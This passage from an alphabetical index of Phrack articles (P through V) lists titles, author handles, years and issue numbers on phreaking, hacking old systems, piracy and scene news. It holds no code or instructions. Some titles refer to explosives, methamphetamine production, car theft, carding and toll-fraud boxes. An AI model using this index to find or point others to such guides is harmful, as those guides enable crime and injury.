"Making Free Local Payfone Calls" by Killer Smurf. 1987. I15 F3 7k
|
|||
|
"Mall Cop Frequencies" by Caligula XXI. 1992. I41 F10 11k
|
|||
|
"An Overview of Pre-Paid Calling Cards" by Treason. 1995. I47 29k
|
|||
|
"SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k
|
|||
|
"South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k
|
|||
|
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993 I44 F13 16k
|
|||
|
"Telenet/Sprintnet's PC Pursuit Outdial Directory" by Amadeus. 1991
|
|||
|
I35 F4 90k
|
|||
|
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
|
|||
|
"The Myth and The Reality About Eavesdropping" by Phone Phanatic. 1989.
|
|||
|
I29 F8
|
|||
|
"PACT: Prefix Access Code Translator" by The Executioner. 1987. I11 F3 8k
|
|||
|
"Phreaking in Germany" by Ninja Master 1991 I33 F7 28k
|
|||
|
"Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k
|
|||
|
"A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k
|
|||
|
"A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs. 1991. I33 F9 12k
|
|||
|
"Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987.
|
|||
|
I13 F2 5k
|
|||
|
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
|
|||
|
"Special Area Codes" by >Unknown User<. 1989. I24 F8 27k
|
|||
|
"Special Area Codes II" 1992. by Bill Huttig I39 F7 17k
|
|||
|
"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k
|
|||
|
|
|||
|
"Phreaking in Germany" by Ninja Master 1991 I33 F8 7k
|
|||
|
"Phreaks in Verse" by Sir Francis Drake. 1987. I13 F5 3k
|
|||
|
"Phreaks in Verse II" by Homey The Hacker 1991. I36 F8 14k
|
|||
|
Professor Falken authored
|
|||
|
"Tymnet Diagnostic Tools" 1992. I42 F5 35k
|
|||
|
Phrozen Ghost authored
|
|||
|
"Hacking CDC's Cyber" 1988. I18 F5 12k
|
|||
|
"Physical Access and Theft of PBX Systems" by Co/Dec. 1993. I43 F15 28k
|
|||
|
|
|||
|
PIRATING see WAREZ
|
|||
|
|
|||
|
"Pirate's Cove" by Rambone. 1992. I37 F3 8k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I38 F3 23k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I40 F5 57k
|
|||
|
"Pirate's Cove" by Rambone. 1992. I41 F5 32k
|
|||
|
"Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k
|
|||
|
"The Postal Inspection Service" by Vendetta. 1989. I27 F9 14k
|
|||
|
"Plant Measurement" by The Executioner. 1986. I9 F6 13k
|
|||
|
"Prevention of The Billing Office Blues" by Forest Ranger. 1985. I2 F2 1k
|
|||
|
"Preview to Phrack 13-The Life & Times of The Executioner" 1987. I12 F3 5k
|
|||
|
Prime Suspect authored
|
|||
|
"A Few Things About Networks" 1988. I18 F9 21k
|
|||
|
|
|||
|
PRIMOS OPERATING SYSTEM
|
|||
|
"A Hacker's Guide to Primos: Part 1" by Cosmos Kid. 1987. I16 F3 11k
|
|||
|
"Hacking Primos I, II, III" by Evil Jay. 1987. I11 F7 7k
|
|||
|
"Hacking Primos Part I" by Evil Jay. 1987. I10 F6 11k
|
|||
|
"Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k
|
|||
|
|
|||
|
"Primos: Primenet, RJE, DPTX" by Magic Hasan. 1988. I18 F4 15k
|
|||
|
"Private Audience" by Overlord. 1986. I3 F5 13k
|
|||
|
Professor Erhart Moeller authored
|
|||
|
"The Moeller Papers" 1993. I44 F10 30k
|
|||
|
Professor authored
|
|||
|
"Hardwire Interfacing under Linux" 1997. I50 F11 11k
|
|||
|
"Profile of MAX Long Distance Service" by Phantom Phreaker. 1986. I4 F4 4k
|
|||
|
"Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k
|
|||
|
"Project Hades: TCP Weakness" by daemon9. 1996. I49 F7 38k
|
|||
|
"Project Loki: ICMP Tunneling" by daemon9/alhambra. 1996. I49 F7 38k
|
|||
|
"Project Neptune" by daemon9. 1996. I48 F13 52k
|
|||
|
The Pyro authored
|
|||
|
"Blowguns" 1985. I2 F4 3K 3K
|
|||
|
PsychoSpy authored
|
|||
|
"The Groom Lake Desert Rat" 1994. I46 F21 44k
|
|||
|
|
|||
|
|
|||
|
** Q **
|
|||
|
|
|||
|
|
|||
|
"Quentin Strikes Again" by The Omega and White Knight. 1994. I45 F12 28k
|
|||
|
|
|||
|
|
|||
|
** R **
|
|||
|
|
|||
|
|
|||
|
The Racketeer authored
|
|||
|
"Guide to Encryption" 1992. I42 F11 32k
|
|||
|
"Network Miscellany" 1992. I40 F4 32k
|
|||
|
"Network Miscellany" 1992. I41 F4 35k
|
|||
|
Radical Rocker authored
|
|||
|
"How to Make TNT" 1986. I7 F6 2k
|
|||
|
"Radio Free Berkley Information" 1994. I45 F24 35k
|
|||
|
"Radio Hacking" by The Seker. 1986. I5 F8 3k
|
|||
|
"R.A.G. - Rodents are Gay" by Evil Jay. 1987. I13 F6 6k
|
|||
|
"RAGS - The Best of Sexy Exy" 1987. I13 F9 19k
|
|||
|
Rambone authored
|
|||
|
"Pirate's Cove" 1992. I37 F3 8k
|
|||
|
"Pirate's Cove" 1992. I38 F3 23k
|
|||
|
"Pirate's Cove" 1992. I40 F5 57k
|
|||
|
"Pirate's Cove" 1992. I41 F5 32k
|
|||
|
Raoul wrote
|
|||
|
"DCL BBS Program" 1994. I45 F16 23k
|
|||
|
Razor's Edge authored
|
|||
|
"The Truth About Lie Detectors" 1989. I30 F9 15k
|
|||
|
"Reading Trans-Union Credit Reports" by The Disc Jockey. 1987. I16 F7 6k
|
|||
|
"Real Cyberpunks" by The Men From Mongo. 1991 I36 F9 13k
|
|||
|
"A Real Functioning PEARL BOX Schematic" by Dispater. 1989. I28 F5 5k
|
|||
|
"A Real Functioning RED BOX Schematic" by J.R. "Bob" Dobbs 1991. I33 F9 12k
|
|||
|
"Real Phreaker's Guide Vol. 2" by Taran King and Knight Lightning. 1987.
|
|||
|
I13 F2 5k
|
|||
|
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
|
|||
|
ReDragon was Pro-Philed in 1996. I48 F5 23k
|
|||
|
Red Knight authored
|
|||
|
"An In-Depth Guide in Hacking Unix" 1988. I22 F5 35k
|
|||
|
Red Skull authored
|
|||
|
"Startalk" 1994. I46 F18 21k
|
|||
|
R.E.M wrote
|
|||
|
"Paid Advertisement"(unencoded game) 1994. I46 F6 62k
|
|||
|
"Paid Advertisement Part ][" (unencoded game) 1994. I46 F7 45k
|
|||
|
"A Report on The Internet Worm" by Bob Page. 1988. I22 F8 16k
|
|||
|
Richard Goodwin authored
|
|||
|
"Hollywood-Style Bits & Bytes" 1994. I45 F17 50k
|
|||
|
Richard C. Hollinger authored
|
|||
|
"Computer Hackers Follow a Guttman-Like Progression. 1988. I22 F7 10k
|
|||
|
"Ring Back Codes for The 314 NPA" by Data Line. 1985. I4 F2 1k
|
|||
|
Robert Alien authored
|
|||
|
"The AT&T Gateway" 1991 I34 F4 5k
|
|||
|
Robert Clark authored
|
|||
|
"My Bust Part I" 1993. I43 F12 56k
|
|||
|
"My Bust Part II" 1993. I43 F13 55k
|
|||
|
"Rolm Systems" by Monty Python. 1986. I3 F2 11k
|
|||
|
route authored
|
|||
|
"Juggernaut"(linux tool) 1997. I50 F6 123k
|
|||
|
"The Royal Court [from Metal Shop Private BBS]" 1988. I20 F10 3k
|
|||
|
"RSTS" by Crimson Death. 1990. I32 F9 23k
|
|||
|
|
|||
|
RSTS OPERATING SYSTEM
|
|||
|
"Hacking RSTS" by Data Line. 1985. I2 F8 4k
|
|||
|
"Hacking RSTS Part 1" by The Seker. 1986. I7 F5 12k
|
|||
|
"Programming RSTS/E File2: Editors" by Solid State. 1986. I9 F4 13k
|
|||
|
"RSTS" by Crimson Death. 1990. I32 F9 23k
|
|||
|
|
|||
|
"Running a BBS on X.25" by Seven Up. 1994. I45 F8 15k
|
|||
|
Ryche authored
|
|||
|
"Hacking Chilton's Credimatic" 1986. I7 F4 8k
|
|||
|
|
|||
|
|
|||
|
** S **
|
|||
|
|
|||
|
|
|||
|
The $muggler authored
|
|||
|
"Coin Box Thief Wanted" (PWN) 1987. I16 F12 2k
|
|||
|
"'Illegal' Hacker Crackdown" (PWN) 1988. I17 F11 5k
|
|||
|
"Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
|
|||
|
"Social Engineering [from Metal Shop Private BBS]" 1988. I20 F8 19k
|
|||
|
"Safe and Easy Carding" by VaxBuster 1993. I44 F20 18k
|
|||
|
"SAM Security" by Spitfire Hacker. 1985. I1 F2 2k
|
|||
|
"Sara Gordon -vs- Kohntark Part I" by The Editor. 1993. I44 F11 12k
|
|||
|
"Sara Gordon -vs- Kohntark Part II" by The Editor. 1993. I44 F12 47k
|
|||
|
"Satellite Communications" by Scott Holiday. 1988. I21 F5 9k
|
|||
|
Scan Man authored
|
|||
|
"Scan Man's Rebuttal to Phrack World News" 1987. I12 F9 17k
|
|||
|
"Scan Man's Rebuttal to Phrack World News" by Scan Man. 1987. I12 F9 17k
|
|||
|
"School/College Computer Dial-Ups" by Phantom Phreaker. 1985. I1 F8 4k
|
|||
|
Scott Holiday authored
|
|||
|
"Satellite Communications" 1988. I21 F5 9k
|
|||
|
Scott Simpson authored
|
|||
|
"Hacking AT&T System 75" 1992. I41 F6 20k
|
|||
|
"Screwing Over Your Local McDonalds" by Charlie X. 1994. I45 F19. 20k
|
|||
|
"Searching for speciAL acceSs agentS" by Dr. Dude. 1991. I36 F7 18k
|
|||
|
"Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
|
|||
|
"Security Guidelines" by Various Sources. 1994. I45 F10 55k
|
|||
|
"Security Shortcomings of AppleShare Networks" by Bobby Zero. 1992. I41 F9 16k
|
|||
|
The Seker authored
|
|||
|
"Radio Hacking" 1986. I5 F8 3k
|
|||
|
"Hacking RSTS Part 1" 1986. I7 F5 12k
|
|||
|
"Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k
|
|||
|
"The Senator Markey Hearing Transcripts" by >Unknown User<. I45 F20 72k
|
|||
|
Sendai authored
|
|||
|
"Keytrap Revisisted" 1996. I48 F12 13k
|
|||
|
Seven Up authored
|
|||
|
"Running a BBS on X.25" 1994. I45 F8 15k
|
|||
|
"The ABCs of Better Hotel Staying" 1994. I46 F25 12k
|
|||
|
"Shadows of a Future Past (Part 1 of The Vicious Circle Trilogy)" by
|
|||
|
Knight Lightning. 1988. I21 F3 26k
|
|||
|
Shadow Hawk 1 was Pro-Philed in 1992. I39 F3 8k
|
|||
|
The Shining authored
|
|||
|
"Unix Hacking - Tools of The Trade" 1994. F11 42k
|
|||
|
Shooting Shark authored
|
|||
|
Introduction/Index for I15,17 F1 2k
|
|||
|
"More Stupid Unix Tricks" 1987. I15 F2 10k
|
|||
|
"Nasty Unix Tricks" 1986. I6 F5 4k
|
|||
|
"Shadow Hawk Busted Again" 1987. I16 F11 2k
|
|||
|
"Social Security Number Formatting" 1988. I19 F4 3k
|
|||
|
"Trojan Horses in Unix" 1986. I7 F7 13k
|
|||
|
Shooting Shark Pro-Philed in 1991 I33 F2 6k
|
|||
|
Sideshow Bob authored
|
|||
|
"PC Application Level Security" 1997. I50 F12 21k
|
|||
|
Signal Substain authored
|
|||
|
"Nitrogen-Trioxide Explosive" 1988. I17 F4 7k
|
|||
|
"Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k
|
|||
|
"Simple Data Encryption or Digital Electronics 101" by The Leftist. 1987.
|
|||
|
I11 F5 4k
|
|||
|
Sir Francis Drake authored
|
|||
|
"Phrack World News" 1987. I15 F8 6k
|
|||
|
"Bust Update" (PWN) 1988. I17 F11 3k
|
|||
|
"Phreaks in Verse" 1987. I13 F5 3k
|
|||
|
Sir Hackalot authored
|
|||
|
"Unix 'Nasties'" 1990. I32 F5 32k
|
|||
|
Skylar authored
|
|||
|
"Sprintnet Directory Part 1/3" 1992. I42 F8 49k
|
|||
|
"Sprintnet Directory Part 2/3" 1992. I42 F9 45k
|
|||
|
"Sprintnet Directory Part 3/3" 1992. I42 F10 46k
|
|||
|
"Skytel Paging and Voicemail" by pbxPhreak. 1997. I50 F10 36k
|
|||
|
S. Leonardo Spitz authored
|
|||
|
"Phrack Pro-Phile on Chris Goggens" 1991. I35 F3 20k
|
|||
|
"Smashing The Stack For Fun And Profit" by Aleph1. 1996. I49 F14 66k
|
|||
|
"Smoke Bombs" by Alpine Cracker. 1986. I6 F6 2k
|
|||
|
"SNMP insecurities" by alhambra. 1997. I50 F7 20k
|
|||
|
"SS7 Diverter plans" by Mastermind. 1997. I50 F9 27k
|
|||
|
Steve Fleming authored
|
|||
|
"The Truth...and Nothing but the Truth" 1996. I48 F16 19k
|
|||
|
"Social Security Numbers & Privacy" by Chris Hibbert of CPSR. 1991. I35 F6 13k
|
|||
|
Solid State authored
|
|||
|
"Programming RSTS/E File2: Editors" 1986. I9 F4 13k
|
|||
|
The Sorceress authored
|
|||
|
"Accessing Government Computers" 1988. I17 F7 9k
|
|||
|
"Cracker are Cheating Bell" (PWN) 1988. I17 F12 8k
|
|||
|
"SPAN: Space Physics Analysis Network" by Knight Lightning. 1989.
|
|||
|
I25 F4 47k
|
|||
|
"Social Security Number Formatting" by Shooting Shark. 1988. I19 F4 3k
|
|||
|
"South Western Bell Lineman Word Codes" by Icon. 1997. I49 F11 18k
|
|||
|
Sovereign Immunity authored
|
|||
|
"Sting Operations" 1991. I35 F5 6k
|
|||
|
"Special Area Codes" by >Unknown User<. 1989. I24 F8 27k
|
|||
|
Spirit Walker co-authored
|
|||
|
"Phrack World News" Part 1-4 1992 I37 F11-14 31,30,29,31k
|
|||
|
Spitfire Hacker authored
|
|||
|
"SAM Security" 1985. I1 F2 2k
|
|||
|
Split Decision authored
|
|||
|
"Phone Bugging: Telecom's Underground Industry" 1989. I26 F7 7k
|
|||
|
"Sprintnet Directory Part 1/3" by Skylar. 1992. I42 F8 49k
|
|||
|
"Sprintnet Directory Part 2/3" by Skylar. 1992. I42 F9 45k
|
|||
|
"Sprintnet Directory Part 3/3" by Skylar. 1992. I42 F10 46k
|
|||
|
Spy Ace authored
|
|||
|
"Step by Step Guide to Stealing a Camaro" 1993. I43 F20 21k
|
|||
|
"Standing up to Fight The Bells" by Knight Lightning. 1992. I38 F10 27k
|
|||
|
"Startalk" by The Red Skull. 1994. I46 F18 21k
|
|||
|
Static authored
|
|||
|
"Information About NT's FMT-150/B/C/D" 1996. I48 F9 22k
|
|||
|
"Steganography Improvement Proposal" by cjml. 1996. I49 F10 6k
|
|||
|
Stephane Bausson authored
|
|||
|
"Electronic Telephone Cards(Part 1)" 1996. I48 F10 39k
|
|||
|
"Electronic Telephone Cards(Part 2)" 1996. I48 F11 66k
|
|||
|
"Step by Step Guide to Stealing a Camaro" by Spy Ace. 1993. I43 F20 21k
|
|||
|
"Sting Operations" by Sovereign Immunity. 1991. I35 F5 6k
|
|||
|
"Subdivisions (Part 3 of The Vicious Circle Trilogy)" by Knight Lightning.
|
|||
|
1989. I23 F3 17k
|
|||
|
Substance authored
|
|||
|
"The Complete Guide to Hacking Meridian Voice Mail" 1995. I47 F15 10k
|
|||
|
"SummerCon 1992" by Knight Lightning and Dispater. 1992. I40 F11 35k
|
|||
|
Suppernigger was Pro-Philed in 1992. I41 F3 10k
|
|||
|
Synapse authored
|
|||
|
"Datapac" 1993. I44 F21 36k
|
|||
|
SynThecide authored
|
|||
|
"Covert Paths" (co-authored) 1989. I29 F5 4k
|
|||
|
"Hacking and Tymnet" 1989. I30 F3 20k
|
|||
|
Szechuan Death authored
|
|||
|
"Legal Info" 1994. I46 F9 13k
|
|||
|
|
|||
|
|
|||
|
** T **
|
|||
|
|
|||
|
|
|||
|
"10th Chaos Computer Congress" by Manny E. Farber. 1994. I45 F13 23k
|
|||
|
"TAC Info" no author. 1985. I2 F5 14K
|
|||
|
"TAMS & Telenet Security" by Phreak_Accident. 1990. I31 F4 7k
|
|||
|
"Tandy/Radio Shack Cellular Phones" by Damien Thorn. 1996. I48 F7 43k
|
|||
|
"Tapping Telephone Lines" by Agent Steal. 1987. I16 F6 9k
|
|||
|
Taran King authored
|
|||
|
"AIS - Automatic Intercept System" 1987. I11 F6 16k
|
|||
|
"Bell Network Switching Systems" 1989. I25 F3 16k
|
|||
|
"Breaching and Clearing Obstacles" 1986. I4 F5 7k
|
|||
|
"Computer-Based Systems for Bell System Operation" 1989. I26 F2 38k
|
|||
|
Introduction/Indexes for I1-2,5-13 F1
|
|||
|
Introduction/Indexes (co-authored) for I20-30 F1
|
|||
|
"Introduction of Phrack" 1985. I1 F1 2k
|
|||
|
"Network Miscellany" 1989. I28 F4 30k
|
|||
|
"Network Miscellany II" 1989. I29 F4 35k
|
|||
|
"Network Miscellany III" 1989. I30 F2 21k
|
|||
|
"Operating The VM/SP CP" 1989. I27 F2 38k
|
|||
|
"Phrack Pro-Phile of Broadway Hacker" 1986. I5 F2 5k
|
|||
|
"Phrack Pro-Phile of Scan Man" 1986. I7 F2 7k
|
|||
|
"Phrack Pro-Phile Featuring Chanda Leir" 1989. I24 F2 6k
|
|||
|
"Phrack Pro-Phile Featuring The Mentor" 1989. I23 F2 7k
|
|||
|
"Phrack Pro-Phile Featuring Terminus" 1987. I14 F2 7k
|
|||
|
"Phrack Pro-Phile on Agrajag The Prolonged" 1987. I12 F2 7k
|
|||
|
"Phrack Pro-Phile on Crimson Death" 1986. I4 F1
|
|||
|
"Phrack Pro-Phile on Dave Starr" 1987. I10 F2 8k
|
|||
|
"Phrack Pro-Phile on Emanuell Goldstein" 1989. I29 F2 16k
|
|||
|
"Phrack Pro-Phile on Erik Bloodaxe" 1989. I28 F2 15k
|
|||
|
"Phrack Pro-Phile on Karl Marx" (co-authored) 1988. I22 F2 9k
|
|||
|
"Phrack Pro-Phile on Lex Luthor" 1992. I40 F3 36k
|
|||
|
"Phrack Pro-Phile on Modem Master" 1988. I21 F2 6k
|
|||
|
"Phrack Pro-Phile on The Nightstalker" 1986. I9 F2 6k
|
|||
|
"Phrack Pro-Phile on Taran King" 1988. I20 F2 14k
|
|||
|
"Phrack Pro-Phile on Tuc" 1986. I8 F2 6k
|
|||
|
"Phrack Pro-Phile on Wizard of Arpanet" 1987. I11 F2 7k
|
|||
|
"Phrack World News" (co-authored) 1988. I22 F9 25k-12
|
|||
|
"The Reality of The Myth [REMOBS]" by Taran King. 1987. I14 F4 6k
|
|||
|
"Universal Informational Services via ISDN" 1985. I2 F6 6K
|
|||
|
co-authored
|
|||
|
"Network Management Center" (co-authored) 1988. I21 F6 13k
|
|||
|
"SummerCon 1992"(co-authored) 1992. I40 F11 35k
|
|||
|
"Real Phreaker's Guide Vol. 2" (co-authored) 1987. I13 F2 5k
|
|||
|
"25th Anniversary Index" (co-authored). 1989. I25 F2 15k
|
|||
|
"Welcome to Metal Shop Private" (co-authored) 1988. I20 F4 37k
|
|||
|
"TCP/IP: A Tutorial Part 1 of 2" by The Not. 1991 I33 F8 28k
|
|||
|
"TCP/IP: A Tutorial Part 2 of 2" by The Not. 1991 I34 F8 39k
|
|||
|
"TCP port Stealth Scanning" by Uriel I49 F15 32k
|
|||
|
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
|
|||
|
"The Technical Revolution" by Dr. Crash. 1986. I6 F3 4k
|
|||
|
"The Tele-Pages" by Jester Sluggo. 1988. I21 F4 37k
|
|||
|
|
|||
|
TELENET see X.25 PACKET SWITCHING NETWORKS
|
|||
|
|
|||
|
"Telenet/Sprintnets PC Pursuit Outdial Directory" by Amadeus. 1991. I35 F4 90k
|
|||
|
"Telephone Company Customer Applications" by Voyager. 1996. I49 F13 38k
|
|||
|
"Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k
|
|||
|
|
|||
|
TELEPHONE SWITCHING EQUIPMENT AND METHODS
|
|||
|
"Bell Network Switching Systems" by Taran King. 1989. I25 F3 16k
|
|||
|
"Digital Multiplexing Systems (Part 2)" by Control C. 1988. I19 F3 18k
|
|||
|
"DMS-100" by Knight Lightning. 1986. I5 F5 8k
|
|||
|
"Facility Assignment & Control Systems" by Phantom Phreaker. 1988.
|
|||
|
I19 F5 11k
|
|||
|
"NorThern Telecom's FMT-150B/C/D" by FyberLyte. 1993. I44 F13 16k
|
|||
|
"Searching The Dialog Information Service" by Al Capone. 1993. I44 F18 48k
|
|||
|
"Signalling Systems Around The World" by Data Line. 1986. I3 F4 2k
|
|||
|
"Telephone Signalling Methods" by Doom Prophet. 1987. I11 F8 7k
|
|||
|
"The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k
|
|||
|
"Understanding The Digital Multiplexing System (DMS)" by Control C. 1987.
|
|||
|
I12 F4 19k
|
|||
|
"Understanding DMS Part II" by Control C. 1987. I14 F5 18k
|
|||
|
|
|||
|
|
|||
|
The Man authored
|
|||
|
"Your New Windows Background (Part 1)"<unencoded> 1995. I47 F17 39k
|
|||
|
"Your New Windows Background (Part 2)"<unencoded> 1995. I47 F18 46k
|
|||
|
"The Truth...and Nothing but the Truth" by Steve Fleming. 1996. I48 F16 19k
|
|||
|
Thomas Covenant authored
|
|||
|
"How to Fuck Up The World - A Parody" 1987. I13 F3 10k
|
|||
|
co-authored
|
|||
|
"How to Build a Paisley Box" 1987. I13 F4 5k
|
|||
|
Thumpr authored
|
|||
|
"Big BroTher Online" 1989. I23 F10 8k
|
|||
|
"Timeline Featuring Taran King, Knight Lightning, and Cheap Shades" 1988.
|
|||
|
I20 F2
|
|||
|
"The TMC Primer" by Cap'n Crax. 1987. I10 F3 6k
|
|||
|
Tom Brokow authored
|
|||
|
"Credit Card Laws" 1987. I16 F5 7k
|
|||
|
Toucan Jones authored
|
|||
|
"BT Tymnet, Part 1/3" 1992. I40 F8 57k
|
|||
|
"BT Tymnet, Part 2/3" 1992. I40 F9 55k
|
|||
|
"BT Tymnet, Part 3/3" 1992. I40 F10 91k
|
|||
|
"The Total Network Data System" by Doom Prophet. 1987. I12 F5 13k
|
|||
|
Treason authored
|
|||
|
"An Overview of Pre-Paid Calling Cards" 1995. I47 29k
|
|||
|
"The Tried and True Home Production Method for Methamphetamine"
|
|||
|
by The Leftist. 1986. I4 F8 7k
|
|||
|
The Trunk Terminator authored
|
|||
|
"International Toll Free Code List" 1991 I33 F6 15k
|
|||
|
"A Trip to The NCSC" by Knight Lightning. 1990. I32 F7 16k
|
|||
|
"Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k
|
|||
|
"The Truth About Lie Detectors" by Razor's Edge. 1989. I30 F9 15k
|
|||
|
"TRW Business Terminology" by Control C. 1987. I14 F6 5k
|
|||
|
TTY-Man co-authored
|
|||
|
"Multi-User Chat Program for DEC-10's" 1986. I9 F7 7k
|
|||
|
"TTY Spoofing by VaxBuster" 1992. I41 F8 20k
|
|||
|
"25th Anniversary Index" by Knight Lightning, Taran King, and oTher friends.
|
|||
|
1989. I25 F2 15k
|
|||
|
Twister Pair authored
|
|||
|
"Auto-Answer It" 1991. I35 F9 10k
|
|||
|
TYMNET see X.25 PACKET SWITCHING NETWORKS
|
|||
|
"Tymnet Diagnostic Tools" by Professor Falken. 1992. I42 F5 35k
|
|||
|
"Tymnet Security Memo" by Anonymous. 1990. I31 F7 9k
|
|||
|
|
|||
|
|
|||
|
** U **
|
|||
|
|
|||
|
|
|||
|
"Understanding The Digital Multiplexing System (DMS)" by Control C. 1987.
|
|||
|
I12 F4 19k
|
|||
|
"Understanding DMS Part II" by Control C. 1987. I14 F5 18k
|
|||
|
"Universal Informational Services via ISDN" by Taran King. 1985. I2 F6 6K
|
|||
|
"Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k
|
|||
|
"Unix for The Moderate" by Urvile. 1988. I18 F6 11k
|
|||
|
"Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k
|
|||
|
|
|||
|
UNIX OPERATING SYSTEM
|
|||
|
"Hardwire Interfacing under Linux" by Professor. 1997. I50 F11 11k
|
|||
|
"Hiding Out Under Unix" by Black Tie Affair. 1989. I25 F6 9k
|
|||
|
"Introduction to CGI and CGI vulnerabilities" by G. Gilliss. 1996.
|
|||
|
I49 F8 12k
|
|||
|
"An In-Depth Guide in Hacking Unix" by Red Knight. 1988. I22 F5 35k
|
|||
|
"Juggernaut"(linux tool) by route. 1997. I50 F6 123k
|
|||
|
"Linux TTY hijacking" by halflife. 1997. I50 F5 15k
|
|||
|
"More Stupid Unix Tricks" by Shooting Shark. 1987. I15 F2 10k
|
|||
|
"Nasty Unix Tricks" by Shooting Shark. 1986. I6 F5 4k
|
|||
|
"Playing Hide and Seek, Unix Style" by Phrack Accident. 1993. I43 F14 31k
|
|||
|
"Sending Fakemail in Unix" by Dark Overlord. 1989. I27 F8 2k
|
|||
|
"Snarfing Remote Files" by Dark Overlord. 1989. I28 F6 5k
|
|||
|
"Trojan Horses in Unix" by Shooting Shark. 1986. I7 F7 13k
|
|||
|
"Unix Cracking Tips" by Dark Overlord. 1989. I25 F5 14k
|
|||
|
"Unix for The Moderate" by Urvile. 1988. I18 F6 11k
|
|||
|
"Unix Hacking - Tools of The Trade" by The Shining. 1994. F11 42k
|
|||
|
"Unix 'Nasties'" by Sir Hackalot. 1990. I32 F5 32k
|
|||
|
"Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k
|
|||
|
"Yet AnoTher File on Hacking Unix" by >Unknown User<. 1988. I22 F6 19k
|
|||
|
|
|||
|
"Unix Hacking - Tools of The Trade" by The Shining. 1994. F11 42k
|
|||
|
"Unix System Security Issues" by Jester Sluggo. 1988. I18 F7 27k
|
|||
|
>Unknown User< (Phrack's anonymous submitter alias) was used to tag
|
|||
|
"Centigram Voice Mail System Consoles" 1992. I39 F6 36k
|
|||
|
"The Senator Markey Hearing Transcripts" I45 F20 72k
|
|||
|
"Special Area Codes" 1989. I24 F8 27k
|
|||
|
"Tymnet Security Memo" 1990. I31 F7 9k
|
|||
|
"Yet AnoTher File on Hacking Unix" 1988. I22 F6 19k
|
|||
|
"The Universal Data Convertor" by Maldoror. 1994. I45 F21 45k
|
|||
|
Uriel authored
|
|||
|
"TCP port Stealth Scanning" I49 F15 32k
|
|||
|
Urvile authored
|
|||
|
"Unix for The Moderate" 1988. I18 F6 11k
|
|||
|
|
|||
|
USENET see WIDE AREA NETWORKS
|
|||
|
|
|||
|
"Useful Commands for The TP3010 Debug Port" by G. Tenet. 1992. I42 f7 28k
|
|||
|
"Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7 62k
|
|||
|
"Users Guide to VAX/VMS Part 2/3" by BLack Kat. 1992. I37 F7 25k
|
|||
|
"Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k
|
|||
|
"Users Guide to XRAY" by NOD. 1992. I42 F6 11k
|
|||
|
"Utopia; Chapter One of FTSaga" by Knight Lightning. 1989. I23 F4 20k
|
|||
|
|
|||
|
UUCP see WIDE AREA NETWORKS
|
|||
|
|
|||
|
|
|||
|
** V **
|
|||
|
|
|||
|
|
|||
|
Various Sources contributed to
|
|||
|
"Cellular Debug Mode Commands" 1994. I45 F26 13k
|
|||
|
"Conference News Part I" 1993. I43 F7 53k
|
|||
|
"Conference News part II" 1993. I43 F8 58k
|
|||
|
"Conference News Part I" 1993. I44 F6 55k
|
|||
|
"Conference News Part II" 1993. I44 F7 35k
|
|||
|
"Conference News Part III" 1993. I44 F8 50k
|
|||
|
"Defcon Information" 1995. I47 F9 28k
|
|||
|
"Defcon II Information" 1994. I45 F14 26k
|
|||
|
"HoHoCon"(review) 1992. I42 F13 51k
|
|||
|
"HoHoCon Miscellany" 1994. I45 F11 32k
|
|||
|
"HoHoCon Miscellany" 1995. I47 F12 33k
|
|||
|
"International Scene" 1993. I43 F26 51k
|
|||
|
"International Scene" 1993. I44 F26 25k
|
|||
|
"International Scene" 1994. I45 F27 63k
|
|||
|
"International Scene" 1994. I46 F27 44k
|
|||
|
"International Scene" 1995. I47 F21 39k
|
|||
|
"International Scene" 1996. I48 F17 33k
|
|||
|
"Line Noise" 1997. I50 F3 72k
|
|||
|
"Security Guidelines" 1994. I45 F10 55k
|
|||
|
"VMS Information" 1994. I45 F15 34k
|
|||
|
VaxCat authored
|
|||
|
"Lifting Ma Bell's Cloak of Secrecy" 1989. I24 F9 25k
|
|||
|
VaxCat co-authored
|
|||
|
"Can You Find Out If Your Telephone is Tapped?" 1989. I23 F9 20k
|
|||
|
"VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k
|
|||
|
|
|||
|
VAX/VMS OPERATING SYSTEM
|
|||
|
"DCL BBS Program" by Raoul. 1994. I45 F16 23k
|
|||
|
"DCL Utilities for VMS Hackers" by The Mentor. 1988. I19 F2 23k
|
|||
|
"Getting Serious About VMS Hacking" by VAXBusters International. 1989.
|
|||
|
I23 F8
|
|||
|
"Inside The SYSUAF.DAT File" by Pain Hertz. 1990. I32 F8 16k
|
|||
|
"Users Guide to VAX/VMS Part 1/3" by Black Kat. 1991. I35 F7 62k
|
|||
|
"Users Guide to VAX/VMS Part 2/3" by Black Kat. 1992. I37 F7 25k
|
|||
|
"Users Guide to VAX/VMS Part 3/3" by Black Kat. 1992. I38 F7 46k
|
|||
|
"VAX/VMS Fake Mail" by Jack T. Tabb. 1989. I30 F7 7k
|
|||
|
"VMS Information" by Various Sources. 1994. I45 F15 34k
|
|||
